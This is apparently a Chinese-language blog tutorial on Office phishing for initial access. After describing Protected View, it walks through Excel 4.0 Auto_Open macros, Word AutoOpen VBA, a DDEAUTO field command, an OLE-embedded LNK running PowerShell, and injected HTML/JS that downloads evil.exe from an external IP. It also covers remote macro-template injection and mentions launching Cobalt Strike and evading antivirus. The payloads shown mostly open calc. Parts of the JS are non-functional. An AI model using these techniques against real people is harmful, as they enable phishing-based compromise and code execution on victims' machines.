Office安全保护机制

受保护的视图

为了保护计算机不受office病毒侵害,微软设计了一个收保护视图,将所有可疑的office文件以只读方式打开,在该模式下多数编辑功能被禁用。文件呗以受保护视图打开的情况有如下几种

文件是从 Internet 位置打开的 
文件是通过 Outlook 附件的方式接收的,并且计算机策略将发件人定义为不安全
文件是从不安全的位置打开的
文件被文件块阻止
文件验证失败
文件是使用“在受保护的视图中打开”选项打开的
文件是从其他人的 OneDrive 存储中打开的

XLM / Macro 4.0 (excel宏钓鱼)

excel下有宏功能,可以用来执行命令。
其使用方法如下

右键下方sheet1,选择插入

QQ截图20210217150535

点击 MS Excel4.0宏表,就可在excel中插入一个宏表
依次输入这两个命令,并把第一行设置为Auto_Open

随后保存为xlsm文件即可。随后当该文件被打开时,会自动打开cmd窗口

QQ截图20210217150614

这里的exec其实是执行的cmd命令,我们可以借此来上线cs等操作。

QQ截图20210217150630

真不错。但在某些情况下打开此类excel文件需手动点击启用宏才能正常钓鱼。

Word宏

新建一个word文件,进入宏选项(如果没有请自行在开发者工具里开启

QQ截图20210217150658

然后随便输AutoOpen(文件打开时自动执行宏),创建,注意宏的位置要指定为当前文档

然后进入宏编辑框

输入以下命令

Sub AutoOpen()
Shell ("calc") //只需要写这个就行了
End Sub

AutoExec:启动 Word 或加载全局模板时
AutoNew:每次新建文档时
AutoOpen:每次打开已有文档时
AutoClose:每次关闭文档时
AutoExit:退出 Word 或卸载全局模板时

保存为docm(启用宏的word文档)

打开文件,就蹦出计算器了。(前提是在信任中心设置开启所有宏)
当然,一般情况下打开此类文件会显示

QQ截图20210217150708

启用内容后就会弹计算器了

Word DDE

在word文件里,输入 ctrl+F9,进入到域代码编辑。我们可以键入以下代码使文件在被打开时执行系统命令(word2019复现未成功,word2016成功,似乎是word版本问题
这个蛮实用的,目前众多word是默认禁用宏的,dde只需要用户点击两个按钮即可执行,实用性比宏好

DDEAUTO c:\\windows\\system32\\cmd.exe "/k calc.exe" 

随后在打开该文件时会出现两个对话框,全点是就会执行以上命令了

QQ截图20210217150729

office OLE+LNK

核心目标是创建一个内嵌的lnk文件诱导用户点击,从而执行命令。word,excel都能使用

我们创建一个快捷方式如下

QQ截图20210217150802

其目标处填写的是

%SystemRoot%\system32\WindowsPowerShell\v1.0\powershell.exe -command calc

然后打开word文件,插入对象,选择package,为了更加逼真勾选显示为图标,然后可以更改图标,我们在更改图标处选择一个迷惑性比较大的图标

QQ截图20210217150813

然后进入创建软件包界面,选择我们刚刚创建的lnk文件,写好卷标名,然后就把软件包插入到word界面了,只要用户点击该软件包并选择执行,则会执行我们在lnk中定义的代码

QQ截图20210217150822

而且值得一提的是,如果用上述方法把lnk文件放入publisher文件,则在网络中打开该文件时不会触发受保护视图。(可能是我本地环境有点错?我觉得这个有点离谱

QQ截图20210217150831

嵌入js元素

这个说实话需要一点js功底。。
这个方式的原理是,如果我们往word中插入联机视频,那么再word的压缩包 word/document.xml里的embeddedHtml项中会出现联机视频对应的内嵌html代码,我们可以通过修改这些代码,插入恶意js代码。

一般的利用方式是通过js下载恶意文件,但是似乎是因为word的一些保护机制,不能实现页面跳转或者自动点击下载等操作(打开word文件会报错),好迷

<html>
<body>
<script>
var a = document.createElement('a');
console.log(a);
document.body.appendChild(a);
a.style = 'display: none';
a.href = "http://149.129.64.180/evil.exe"; //该行若存在,打开word文件会报错
a.download = fileName;
window.URL.revokeObjectURL(url);
</script>
<script>
a.click();
</script>
</body>
</html>

我看了一个POC,里面是通过构造二进制数据交给BLOB对象处理,并自动点击由BLOB对象生成的url实现下载二进制数据,而这些二进制数据实质上是恶意文件。

因为我搞不来那个二进制数据怎么产生,所以这个方法暂时只做了解吧。。
而且我看的那个文章的POC在我的word2016里不能正常工作,不知道是什么原因
reference:https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/phishing-replacing-embedded-video-with-bogus-payload

利用模板文件注入宏指令

原理是,先创建一个带模板的文档,再创一个启用宏的模板文件。然后在带模板的文档的压缩包里面修改一些内容,使其指向的模板修改为我们自己创建的模板文件,这之间的过程可以由smb协议完成,故过查杀几率较高。

我们在启用宏的模板文件(doc3.dotm)里写入宏。

Sub AutoOpen()
Shell "calc"
End Sub

QQ截图20210217150913